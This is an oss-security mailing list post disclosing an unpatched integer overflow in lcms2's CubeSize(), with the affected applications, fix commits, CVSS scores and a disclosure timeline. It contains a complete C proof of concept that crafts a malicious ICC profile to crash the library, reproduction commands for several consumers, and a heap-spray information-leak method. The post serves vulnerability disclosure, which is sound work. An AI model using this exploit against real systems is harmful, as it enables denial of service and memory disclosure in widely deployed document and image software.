



Products

Services

Publications

Resources

What's new

Follow @Openwall on Twitter for new release announcements and other news

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <CAK3hNHa+V=00APzyAHRaER+9JDJR-Az0wscFVX7JX5PgYd-9LA@mail.gmail.com>

Date: Fri, 17 Apr 2026 14:28:14 -0700

From: Abhinav Agarwal <abhinavagarwal1996@...il.com>

To: oss-security@...ts.openwall.com

Subject: lcms2 <= 2.18 CubeSize() integer overflow: stock Ubuntu 24.04 Poppler / evince-thumbnailer / OpenJDK crashers (different triggers), no CVE

A 992-byte PDF crashes a bunch of stock Ubuntu 24.04 consumers: evince-thumbnailer, Poppler (pdftoppm / pdftocairo / pdfimages), the cups-filters PDF-to-raster print filter, Okular, and GIMP's PDF plug-in all segfault inside liblcms2. OpenJDK 21 on Ubuntu crashes too, and Windows Temurin 21.0.9 crashes in its bundled lcms.dll (3/3 independent runs). There's also a coarse seed-correlated heap-read primitive on Linux glibc with ASLR off - a real CWE-200 channel, though not a generic arbitrary read. Upstream fixed it on master in February/March but hasn't cut a release, no advisory, no CVE. The GHSA I filed was closed without a reply. Looking for a CVE and for distro attention.

Full write-up: <https://abhinavagarwal07.github.io/posts/lcms2-cubesize-overflow/>

Reachability (Ubuntu 24.04 LTS stock, liblcms2-2 2.14-2build1; Windows Server 2022 with Temurin 21.0.9)

SEGV, no local code changes:

- * tumblerd (D-Bus auto-activated thumbnail service). tumblerd is the freedesktop thumbnail daemon that ships as the default on Xfce and is available on GNOME as a fallback; its bundled tumbler-poppler-thumbnailer.so plugin loads libpoppler + liblcms2 directly into the daemon process. A single `dbus-send` "Queue" call with the PDF's URI is enough: tumblerd was not running beforehand and wasn't on \$PATH, but D-Bus auto-activated the service on the Queue call, the service pulled the PDF, and the daemon SIGSEGV'd in liblcms2.so.2.0.14. Reproduced 4/4, with kernel `segfault ... in liblcms2.so.2.0.14` and apport records. This is the same D-Bus call that a file manager issues when a directory is opened, so the real-world shape is "open a folder containing the PDF, the system's thumbnail daemon dies."

Direct evince-thumbnailer CLI (`evince-thumbnailer -s 200 poc.pdf out.jpg`) crashes the same way (SEGV at liblcms2.so.2.0.14+0xb503, Eval4Inputs+643, cmsintrp.c:909).

SHA256 (poc_iccbased_5ch.pdf):

5c328a4362185c6dca2d6cael3c74ed456889798220f3f16e840449648121b55

- * Poppler: pdftoppm, pdftocairo, pdfimages -list. Same 992-byte PDF with a 1x1 image XObject using /ColorSpace [/ICCBased 5 0 R]. Poppler warns on N>4 and does not abort; goes on to call cmsCreateTransform(). Same crash site.
- * Okular 4:23.08.5 (xvfb-run). SEGV via okularGenerator_poppler.so -> libpoppler-qt5 -> lcms2. Kernel: `Okular::PixmapG[PID]: segfault ... in liblcms2.so.2.0.14[0xb503]`, Eval4Inputs+643. Core file + gdb backtrace captured.
- * cups-filters pdftoraster 2.0.0-0ubuntu4.1. This is the CUPS PDF-to-raster filter. It lives at /usr/lib/cups/filter/pdftoraster rather than on \$PATH, so `which pdftoraster` misses it - invoke it the way CUPS does: `usr/lib/cups/filter/pdftoraster 1 root "" 1 "" < poc.pdf`. Kernel: `pdftoraster[PID]: segfault ... in liblcms2.so.2.0.14[0xb503]`. Core + gdb backtrace captured in

the primary-evidence bundle.

- * GIMP 2.10.36-3 file-pdf-load plug-in (under xvfb-run, headless batch mode). The plug-in subprocess SIGSEGVs. GIMP installs its own signal handler, so the usual kernel dmesg line doesn't appear, but strace catches SIGSEGV{si_code=SEGV_ACCERR} at fault time, and the frame-by-frame proof comes from running the same PDF through evince-thumbnailer under gdb - identical poppler + lcms2 library chain.
- * LibreOffice import: inconsistent enough that I'd treat it as a secondary target rather than cite it as confirmed. On the authoritative fresh-VM run under script(1), LO rejected the PDF at the load stage before ever calling into lcms2. On a separate VM earlier, xpdfimport crashed with a matching dmesg line. Both outcomes reproduce; I can't point at a single reliable command that crashes LO the way the other rows do.
- * Flask+Docker PDF thumbnailer spawning pdftoppm returns HTTP 500 (exit_code:-11) per upload. Same shape as any Poppler-backed webmail preview, DMS thumbnailer, or CI artifact renderer.
- * OpenJDK 21 on Ubuntu. ICC_Profile.getInstance() + ICC_ColorSpace.toRGB(). SEGV in system liblcms2.so.2. Confirmed with both the 18 MB 7CLR profile and a 4,819-byte 5CLR variant (JdkPoc5.java, input array sized via getNumComponents()).
- * OpenJDK 21 Temurin 21.0.9 on Windows Server 2022. EXCEPTION_ACCESS_VIOLATION in lcms.dll+0x9fd2, 86-304 ms, 3/3 runs. Reproduced on two independent Azure VM instances. Windows JDK bundles lcms.dll (not system-linked); Azure WindowsServer:2022-datacenter-azure-edition images ship Temurin 21.0.9 pre-installed.
- * transicc -l (lcms2's own bundled utility). 4,819-byte device-link profile. SEGV, exit 139.
- * Python ctypes, Rust lcms2 crate 5.6. Direct calls to cmsCreateTransform with TYPE_CMYK5_8. SEGV.

Paths that did not reproduce in my tests: Ghostscript, ImageMagick, tificc, jpgicc, Pillow ImageCms, libvips 8.15, Inkscape, Node.js @kittl/little-cms. See the write-up for per-consumer detail.

Bug (one paragraph)

src/cmslut.c:461, function CubeSize(). Check-after-multiply on a uint32 accumulator: `rv *= dim` wraps silently before the guard `rv > UINT_MAX / dim` runs. Crafted CLUT dims where the product exceeds 2^{32} but wraps to a small value (e.g. [61,7,161,245,255] wraps to 1,529 from a true product of $\sim 4.3e9$) pass every guard. cmsStageAllocCLut16bitGranular() undersizes the CLUT buffer (~ 9 KB instead of ~ 10 GB of nodes); the interpolator's opta[] strides are computed from the real dims and index past Tab.T[] during transform construction (OptimizeByResampling -> cmsStageSampleCLut16bit) or during cmsDoTransform. CWE-190 causes CWE-125.

Fix status

File: src/cmslut.c
 Affects: all released versions through lcms2 2.18
 Fixed on master (unreleased), no CVE, no advisory:
<https://github.com/mm2/Little-CMS/commit/da6110b> (widen rv to uint64)
<https://github.com/mm2/Little-CMS/commit/e0641b1> (guard before multiply)

Affected

Any distro shipping lcms2 <= 2.18:
 Ubuntu 24.04 LTS liblcms2-2 2.14-2build1 (validated)

```
Debian bookworm    liblcms2-2 2.16-2
Fedora             lcms2 2.16
Alpine edge       lcms2 2.17-r0
Homebrew          little-cms2 2.18      (validated)
```

JDK-bundled lcms: Temurin 21.0.9 on Windows confirmed vulnerable via its bundled lcms.dll (3/3 runs, EXCEPTION_ACCESS_VIOLATION in lcms.dll+0x9fd2). On Ubuntu 24.04, OpenJDK 21 uses the SYSTEM liblcms2.so.2, so patching liblcms2-2 fixes both the JDK and Poppler paths on that platform. Other mainstream JDK distributions (Oracle, Corretto, Zulu, Microsoft OpenJDK) commonly bundle their own lcms2 source tree; patch status is per-vendor.

Minimal C reproducer (stock Ubuntu 24.04)

```
-----
sudo apt install liblcms2-dev gcc
cat > poc.c <<'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <lcms2.h>
static void be32(unsigned char*p,unsigned
v){p[0]=v>>24;p[1]=v>>16;p[2]=v>>8;p[3]=v;}
int main(void){
    const int N = 4587, tag = 32+36+20+N, tot = 128+4+12+tag;
    unsigned char *b = calloc(1,tot);
    be32(b,tot); b[8]=4; b[9]=0x30;
    memcpy(b+12,"scnr",4); memcpy(b+16,"5CLR",4); memcpy(b+20,"Lab ",4);
    memcpy(b+36,"acsp",4);
    be32(b+68,63190); be32(b+72,65536); be32(b+76,54061);
    be32(b+128,1); memcpy(b+132,"A2B0",4); be32(b+136,144); be32(b+140,tag);
    unsigned char *t = b+144;
    memcpy(t,"mAB ",4); t[8]=5; t[9]=3;
    be32(t+12,32); be32(t+24,68);
    for (int i=0;i<3;i++) memcpy(t+32+i*12,"curv",4);
    unsigned char g[] = {61,7,161,245,255};
    memcpy(t+68,g,5); t[68+16]=1;
    cmsHPROFILE h = cmsOpenProfileFromMem(b,tot);
    cmsHPROFILE s = cmsCreate_sRGBProfile();
    cmsCreateTransform(h, TYPE_CMYK5_8, s, TYPE_RGB_8, 0, 0); // SEGV
    return 0;
}
EOF
# ASAN (clean OOB frame):
gcc -fsanitize=address -g -o poc poc.c -llcms2 -lm && ./poc

# Without ASAN (matches production behavior):
gcc -o poc_plain poc.c -llcms2 -lm && ./poc_plain; echo "exit=$?"
# exit=139 (SIGSEGV)
```

Python, Rust, Java, PDF, and device-link variants build equivalently.

CVSS 3.1

Availability only (UI:R):

AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H = 6.5 (Medium)

Availability only, server-side renderer (UI:N):

AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H = 7.5 (High)

With demonstrated info disclosure, UI:R:

AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:H = 8.1 (High)

Same, UI:N (any headless Poppler-backed render worker fits this):

AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H = 9.1 (Critical)

I don't have a write primitive. I looked at PatchLUT in cmsopt.c:632 as a possible mirror of the read side, but the math doesn't reach a signed-int wrap.

Information disclosure (CWE-200)

Coarse but real. On Ubuntu 24.04 with glibc's default allocator and ASLR off (setarch -R), the first output byte from cmsDoTransform tracks a pre-run heap-seed byte for specific inputs - so this is a seed-correlated leak of memory below the CLUT allocation. It isn't an arbitrary-heap-read: the first output byte isn't a raw heap byte, it's LinearInterp'd through the sRGB pipeline, so bytes come back with some blur. The reliable window on the 5CLR profile is axis 3's [-365 KB, -1.5 KB] offsets below the CLUT allocation.

Two small tricks in cmsintrap.c make this work:

- * EVAL_FNS(N,NM) short-circuits the far-corner read when Input[i] == 0xFFFFU. With 8-bit input that's byte 0xFF, so setting 4 of 5 axes to 0xFF collapses the usual $2^5=32$ corner reads down to 2.
- * opta[NM] is uint32; opta[NM] * k0 is computed as uint32 and wraps mod 2^{32} . The wrapped value then goes into int K0, and anything above 2^{31} reinterprets as a large negative int. So LutTable + K0 ends up reading below the CLUT allocation, in heap we've just sprayed.

Axis 3 (opta[1] = 765) gives offsets of -1.5 KB to -365 KB, which a 260 MB malloc-spray covers comfortably.

Evidence (16 sampled seed bytes spanning 0x00..0xFF: 0x00, 0x11, 0x22, ..., 0xEE, 0xFF):

```
seed=0xAA  axis=3 in=0xd9 out=aa3b53 (byte[0] = seed)
seed=0xAA  axis=3 in=0xf5 out=add800 (byte[0] ~ seed)
seed=0xCC  axis=3 in=0xd9 out=e32b45 (byte[0] tracks seed)
seed=0xCC  axis=3 in=0xf5 out=ebe300 (byte[0] tracks seed)

seed=0xAA  axis=3 in=0xea out=005f91 (control, in-bounds)
seed=0xCC  axis=3 in=0xea out=005f91 (same)
```

Control input (0xea, in-bounds) produces byte-identical output across all 16 seeds; 00B inputs (0xd9, 0xf4, 0xf5) produce outputs whose first byte tracks the heap seed.

POC (`infoleak_linux_v3.c`) and the 16-seed-sweep logs on request. Caveats: ASLR must be off and glibc's default allocator is assumed. Axis 3 is the reliable surface; axes 0-2 fall too far out of bounds without MAP_FIXED reservations or multi-GB sprays. The primitive is seed-correlated, not arbitrary-read.

Timeline

```
2010-10      CubeSize() check-after-multiply pattern introduced.
2026-02-19   Fix 1: da6110b.
2026-03-12   Fix 2: e0641b1.
2026-04-13   GHSA-4xp6-rcgg-m9qq filed (private advisory).
2026-04-14   MITRE CVE request filed (CVE Request 2025002).
              Submitted with the evidence that existed at the time.
2026-04-16   Asked the maintainer on the GHSA whether he'd triage,
              told him I'd publish otherwise.
2026-04-17   GHSA closed without engagement. Public disclosure
```

References

```
Vulnerable source (lcms2 2.18):
https://github.com/mm2/Little-CMS/blob/lcms2.18/src/cmslut.c#L461
Prior same-codebase CVEs: CVE-2018-16435, CVE-2016-10165.
CWEs: CWE-190, CWE-125.
Write-up + per-consumer evidence:
https://abhinavagarwal07.github.io/posts/lcms2-cubesize-overflow/
```

-- Abhinav Agarwal

[Powered by blists](#) - [more mailing lists](#)

Please check out the [Open Source Software Security Wiki](#), which is counterpart to this [mailing list](#).

Confused about [mailing lists](#) and their use? [Read about mailing lists on Wikipedia](#) and check out these [guidelines on proper formatting of your messages](#).